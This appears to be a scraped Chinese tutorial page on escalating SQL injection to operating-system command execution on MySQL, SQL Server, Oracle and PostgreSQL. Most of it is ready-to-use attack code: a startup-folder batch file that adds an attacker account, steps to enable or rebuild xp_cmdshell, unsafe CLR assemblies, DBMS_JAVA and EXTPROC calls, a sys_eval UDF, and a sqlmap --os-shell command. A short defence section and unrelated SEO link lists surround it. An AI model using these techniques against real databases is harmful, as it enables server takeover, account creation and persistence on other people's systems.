当前位置: 首页 > wzjs >正文

那些网站是php开发的wordpress 主页地址

那些网站是php开发的,wordpress 主页地址,哪有培训seo,品牌设计有限公司SQL 注入与防御——SQL 注入利用操作系统(执行操作系统命令) 一、核心逻辑与价值 通过 数据库内置功能(存储过程、函数等),突破数据库边界,直接在服务器执行操作系统命令。利用数据库高权限运行特性&…

SQL 注入与防御——SQL 注入利用操作系统(执行操作系统命令)

一、核心逻辑与价值

通过 数据库内置功能(存储过程、函数等),突破数据库边界,直接在服务器执行操作系统命令。利用数据库高权限运行特性(如 Windows SYSTEM 特权、Linux 高权限用户 ),实现权限提升、横向渗透、持久化控制,将数据库漏洞转化为服务器完全控制。

二、不同数据库的命令执行实现

(一)MySQL

MySQL 本身不直接支持 shell 命令执行,但可通过间接技术利用:

1. 结合文件写入与服务器环境

若 MySQL 与 Web 服务器同机,可通过 SELECT INTO DUMPFILE 构造欺骗性 CGI 脚本(如 .bat .php ),结合服务器自动执行逻辑(如 Windows 启动文件夹、Linux 计划任务 )触发命令。

示例(Windows 环境,MySQL 以 SYSTEM 权限运行 ):

- 写入批处理文件到管理员启动目录
UNION SELECT 'net user attacker pwd /add' INTO OUTFILE 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/owned.bat'

管理员登录时,批处理自动执行,攻击者获得新用户权限。

2. 堆叠查询与 UDF 攻击(进阶)

  • 堆叠查询:MySQL 5+ 支持 ; 分隔的多语句执行,理论上可结合 CREATE FUNCTION(UDF,用户自定义函数 )注入,但需文件写入权限多查询支持,实战中因防御限制较少见。
  • Black Hat 案例参考:Bernardo Damele 在欧洲黑帽大会演示的 ASP.NET + 堆叠查询场景,利用第三方连接程序的多语句支持,实现复杂命令执行(可扩展阅读 sqlmap 黑帽文档 )。

(二)Microsoft SQL Server

依赖 xp_cmdshell 存储过程,是命令执行的核心入口:

1. xp_cmdshell 基础用法

默认禁用,需高权限(如 sysadmin )启用。启用后直接执行系统命令:

- 启用 xp_cmdshell(需先开高级选项)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 执行命令(如查询网络配置)
EXEC xp_cmdshell 'ipconfig';

2. 绕过禁用的技巧

若 xp_cmdshell 被禁用,可通过 自定义存储过程 或 CLR 集成 重建命令执行能力:

  • 自定义存储过程(模拟 xp_cmdshell ):

    CREATE PROCEDURE xp_cmdshell3 (@cmd VARCHAR(255), @Wait INT = 0)  
    AS  
    BEGIN  DECLARE @oShell INT, @oResult INT, @sResult INT;  EXEC @oResult = sp_OACreate 'WScript.Shell', @oShell OUT;  IF @oResult = 0 EXEC @sResult = sp_OAMethod @oShell, 'Run', NULL, @cmd, 0, @Wait;  IF @oResult = 0 SELECT @sResult;  IF @oResult <> 0 EXEC sp_displayoaerrorinfo @oShell, @oResult;  EXEC @oResult = sp_OADestroy @oShell;  RETURN @sResult;  
    END;  -- 调用自定义过程执行命令  
    EXEC xp_cmdshell3 'ipconfig';
    
  • CLR 集成:加载 .NET 程序集,执行系统命令。需启用 CLR 并设置 TRUSTWORTHY 数据库属性:

    - 启用 CLR
    EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
    -- 创建不安全程序集(需 sysadmin 权限)
    CREATE ASSEMBLY [UnsafeAssembly]
    FROM 'C:\temp\unsafe.dll'
    WITH PERMISSION_SET = UNSAFE;
    -- 调用程序集执行命令(需自定义函数封装)
    

(三)Oracle

依赖 高权限数据库功能(如 DBMS_JAVAEXT PROCPL/SQL native ),需 DBA 权限或漏洞提权:

1. 基础命令执行(需 DBA 权限)

  • DBMS_JAVA 调用:若用户有 Java IO 权限,可通过 DBMS_JAVA.RUNJAVA 执行系统命令:

    - 执行 cmd.exe 命令(Windows 示例)
    SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/uti/Wrapper', 'main', 'C:\windows\system32\cmd.exe /c ipconfig')
    FROM DUAL;
    
  • EXT PROC 外部过程:创建共享库(DLL/so 文件 ),通过 EXT PROC 调用系统函数:

    - 创建外部库(Windows 示例)
    CREATE OR REPLACE LIBRARY exec_shell AS 'C:\windows\system32\msvcrt.dll';
    -- 创建外部过程
    CREATE OR REPLACE PROCEDURE oraexec (cmdstring IN CHAR)
    AS EXTERNAL
    NAME "system"
    LIBRARY exec_shell
    LANGUAGE C;
    -- 执行命令
    EXEC oraexec('ipconfig');
    

2. 权限提升与漏洞利用

  • SYS 模式注入:利用 Oracle 内置对象(如 SYS.LT.MERGEWORKSPACE )的注入点,提升权限至 DBA。例如,创建函数注入易受攻击的 SYS 过程,将 DBA 角色赋予普通用户。
  • 补丁绕过:利用未及时修复的漏洞(如 PUBLIC 角色执行 SYS.LT.MERGEWORKSPACE ),实现无 DBA 权限的命令执行。

(四)PostgreSQL

通过 用户自定义函数(UDF) 或 sqlninja 工具 实现命令执行:

1. UDF 注入

创建基于操作系统的 UDF,调用系统命令:

- 示例:创建执行系统命令的 UDF(需高权限)
CREATE FUNCTION sys_eval(text) RETURNS text
AS '$libdir/postgresqludf_sys', 'sys_eval'
LANGUAGE C STRICT;
-- 执行命令
SELECT sys_eval('ipconfig');

2. sqlninja 工具集成

结合 sqlninja 的 --os-shell 选项,上传共享库、创建 UDF,实现交互式命令执行:

sqlmap -u "http://target/test.php?id=1" --os-shell

工具自动完成 文件上传、UDF 创建、命令执行 流程,支持反弹 Shell、权限维持。

三、防御思路

  1. 权限最小化
    • 限制数据库用户 sysadmin/DBA 权限,禁用不必要的存储过程(如 xp_cmdshell )。
    • 配置 UTL_FILE_DIRFILE 权限时,仅开放必要路径。
  2. 功能禁用与审计
    • 禁用 xp_cmdshellDBMS_JAVA 等高危功能,通过数据库配置工具(如 SQL Server 界面配置 )关闭。
    • 审计数据库日志,监控 CREATE FUNCTIONLOAD_FILE 等敏感操作。
  3. 漏洞补丁与监控
    • 及时更新数据库补丁,修复 UDF 注入、SYS 模式漏洞等。
    • 结合 WAF、IDS 监控异常 SQL 语句(如多语句堆叠、xp_cmdshell 调用 )。

总结:执行操作系统命令是 SQL 注入的高阶攻击,利用数据库高权限特性突破边界。防御需聚焦权限管控、功能禁用、日志审计,切断数据库到系统命令的执行链路。不同数据库的实现差异大,需针对性加固。

http://www.dtcms.com/wzjs/569609.html

相关文章:

  • 展示网站开发阿里云网站建设程序
  • 网站推广软件哪个好电影网页设计教程
  • 小公司自己怎样做网站网站怎么ftp
  • 雇人做淘宝网站多少钱html5素材网
  • 微信 网站模板wordpress嵌入视频播放
  • 在大学做网站赚钱吗wordpress登录选项
  • 南京网站开发选南京乐识赞互联网网站开发服务合同
  • wordpress建站后台wordpress 广告 能赚多少
  • 网站建设目录结构苏州美丽乡村建设网站
  • 做网站的哪个好现在比较好的营销平台
  • 商丘企业网站服务电子商务网站 功能
  • app软件开发就是网站开发吗企业seo价格查询价格
  • 早教中心网站建设方案wordpress打包主题
  • 建设部网站 绿色建筑评价表北京网站开发网络公司
  • 济南高新区 网站建设wordpress搜索间隔时间
  • 驻马店广告制作公司青岛优化网站技术
  • 做的网站上传到服务器万户网络官网
  • 郑州网站竞价托管北京网络科技公司简介
  • 哪个网站可以做身份核验室内设计学校培训的
  • 电脑版网站转手机版怎么做百度优化推广
  • 衣柜 技术支持 东莞网站建设ds2600ii色带
  • 个人网站备案 名称怎样让网站显示网站建设中
  • 网站界面设计中的版式设计有哪些会员可见的网站开发
  • 优化型网站建设怎么做好一个网站
  • 优秀手机网站欣赏烟台网络推广公司
  • 北京华夏建设有限公司网站贵阳公司官方网站建设
  • mvc3网站上传到空间杭州旺道企业服务有限公司
  • 学习前端开发的网站列车营销网站怎么做
  • 宝应网站wordpress关键词在哪里
  • 网站编辑电子商务网站运营专员常州哪些网站公司做的好处